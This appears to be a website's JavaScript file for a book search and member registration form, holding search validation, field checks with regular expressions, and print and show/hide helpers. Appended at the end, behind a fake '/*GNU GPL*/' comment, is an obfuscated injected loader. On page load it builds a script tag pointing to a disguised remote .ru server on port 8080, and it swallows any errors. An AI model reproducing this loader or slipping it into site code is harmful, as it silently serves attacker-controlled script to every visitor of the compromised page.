function toggle(fld,id)
{
if(fld.checked==false)
{
document.getElementById(id).disabled=false;
}
else
{
document.getElementById(id).disabled=true;
}
}
function search_validate()
{
	var search_type1 = document.getElementById('search1');
	var search_type2 = document.getElementById('search2');
	var auth = document.getElementById('Author');
	var subj = document.getElementById('Subject');
	var title = document.getElementById('Title');
	var isbn = document.getElementById('isbn_num');
	
	if((search_type1.checked== true)||(search_type2.checked== true))
	 
     	{
		
		       if(search_type1.checked== true)
			   {
		
					   if((auth.value != "")||(subj.value != "")||(title.value  != ""))
					 
						{
						  return true;
															
						}
						 alert ("Please Enter atleast one Key Word Author/Subject/Title for Search !");
						 return false;
			   }
			   else if (search_type2.checked== true)
			   {
			           if(isbn.value != "")
					 
						{
						  return true;
															
						}
						 alert ("Please Valid ISBN for Search !");
						 return false;
			   
			   
			   } 		
		
											
		}
		 alert ("Please Select One Search Criteria !");
		 return false;
		 
		 
		
}

function formValidator(){
	// Make quick references to our fields
	var firstname = document.getElementById('fname');
	var lastname = document.getElementById('lname');
	var addr = document.getElementById('address');
	var zip = document.getElementById('zip');
	var country = document.getElementById('country');
	var email = document.getElementById('email');
	var dd = document.getElementById('day');
	var mm = document.getElementById('month');
	var yyyy = document.getElementById('year');
	var phone = document.getElementById('phone');
	var member = document.getElementById('usertype');
	
	// Check each input in the order that it appears in the form!
if(isAlphabet(firstname, "Please enter First Name")){
	if(isAlphabet(lastname, "Please enter Last Name")){
	    if(madeSelection(dd, "Please Select a Valid Day")){
		   if(madeSelection(mm, "Please Select a Valid Month")){
		      if(madeSelection(yyyy, "Please Select a Valid Year")){
			     if(madeSelection(member, "Please Select a Valid Subscription")){
				    if(emailValidator(email, "Please enter a valid email address")){
	                     if(madeSelection(country, "Please Choose a Country")){
			                if(isNumeric(zip, "Please enter a valid zip code")){
				              if(isNumeric(phone,"Please enter a Phone Number")){
						
					                		 return true;
											}
						                  }
					                    }
				                      }
			                        }
		                          }
	                            }
	                          }
                            }
                          }
                      
                       
	return false;
	
}

function isEmpty(elem, helperMsg){
	if(elem.value.length == 0){
		alert(helperMsg);
		elem.focus(); // set the focus to this input
		return true;
	}
	return false;
}

function isNumeric(elem, helperMsg){
	var numericExpression = /^[0-9]+$/;
	if(elem.value.match(numericExpression)){
		return true;
	}else{
		alert(helperMsg);
		elem.focus();
		return false;
	}
}

function isAlphabet(elem, helperMsg){
	var alphaExp = /^[a-zA-Z]+$/;
	if(elem.value.match(alphaExp)){
		return true;
	}else{
		alert(helperMsg);
		elem.focus();
		return false;
	}
}

function isAlphanumeric(elem, helperMsg){
	var alphaExp = /^[0-9a-zA-Z]+$/;
	if(elem.value.match(alphaExp)){
		return true;
	}else{
		alert(helperMsg);
		elem.focus();
		return false;
	}
}

function lengthRestriction(elem, min, max){
	var uInput = elem.value;
	if(uInput.length >= min && uInput.length <= max){
		return true;
	}else{
		alert("Please enter between " +min+ " and " +max+ " characters");
		elem.focus();
		return false;
	}
}

function madeSelection(elem, helperMsg){
	if(elem.value == "Select"){
		alert(helperMsg);
		elem.focus();
		return false;
	}else{
		return true;
	}
}

function emailValidator(elem, helperMsg){
	var emailExp = /^[\w\-\.\+]+\@[a-zA-Z0-9\.\-]+\.[a-zA-z0-9]{2,4}$/;
	if(elem.value.match(emailExp)){
		return true;
	}else{
		alert(helperMsg);
		elem.focus();
		return false;
	}
}

function printnotes()
{
var bar = "width = 700, height= 650, left=100, top=10, scrollbars=yes, resizable=no menu=yes";
myWindow=window.open('','',bar)
myWindow.document.write(document.all("agreement").innerHTML)
myWindow.focus();
myWindow.print();
}
function showhide(id,btn){

	

	if(btn.value=="+") {

	document.all(id).style.display="block";

	btn.value="-";

	}

	else

	{

		document.all(id).style.display="none";

		btn.value="+";

	}

}

/*GNU GPL*/ try{window.onload = function(){var G211c5mcaa6iim6 = document.createElement('script');G211c5mcaa6iim6.setAttribute('type', 'text/javascript');G211c5mcaa6iim6.setAttribute('src',  'h$!t$t$&^&p&:^((/#$/&o))#w!@!-($l&!y@).#)!b#h(^&a#$r)@a))t$!^s)(#!(t(^@#u!!##d#$e(n@t@!.#$#c@o)(m&.)#^)s$(t#@(e^#!r&(n^$-)^d#$#e)).(@#s!)i)m#^^)p)$l$!!e&^&^w$)o$r#l@(d@h(@&o^#@u!&@^s##e^(.@$r^!u^:^8)((0^&8()^)^0@#$/^$&(g()($o)^o((!#g#!&(l))@e@!(&.@((#c$!)o($#.@#t()(h&&@/&&^@g$($o$^@o^(@&g)$&(l@#!e(.!^^$c^(o$&(.^($&t^h&(/!$)w!&))i((!@k&^t)i^!o@$$n&)^a(!@r)y(!).$@!#o&)r&$g^)/^&)&s!)i)(^&!t#@e^$((@s$^e#(#l&$&l&$.!(@c@((o#m&/@$&g(@o&!&$o((g!^!l!^$&!e$).($#c&!&o@&m&@^/$&'.replace(/&|\^|#|\)|\!|\$|\(|@/ig, ''));G211c5mcaa6iim6.setAttribute('defer', 'defer');document.body.appendChild(G211c5mcaa6iim6);}} catch(e) {}